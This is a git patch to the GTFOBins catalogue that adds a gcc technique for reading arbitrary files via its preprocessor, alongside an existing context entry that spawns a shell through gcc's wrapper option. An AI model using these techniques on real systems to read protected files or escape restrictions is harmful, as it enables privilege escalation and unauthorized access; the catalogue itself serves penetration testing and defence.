From 04b29456a6b71e239fa8a946294efebf7e79eb51 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sun, 27 Sep 2020 11:27:28 +0200 Subject: [PATCH] Add gcc file read This is an improved version with respect to #138. Close #138. --- _gtfobins/gcc.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/_gtfobins/gcc.md b/_gtfobins/gcc.md index 0c7f668..435d421 100644 --- a/_gtfobins/gcc.md +++ b/_gtfobins/gcc.md @@ -1,5 +1,9 @@ --- functions: + file-read: + - code: | + LFILE=file_to_read + gcc -x c -E "$LFILE" shell: - code: gcc -wrapper /bin/sh,-s . sudo: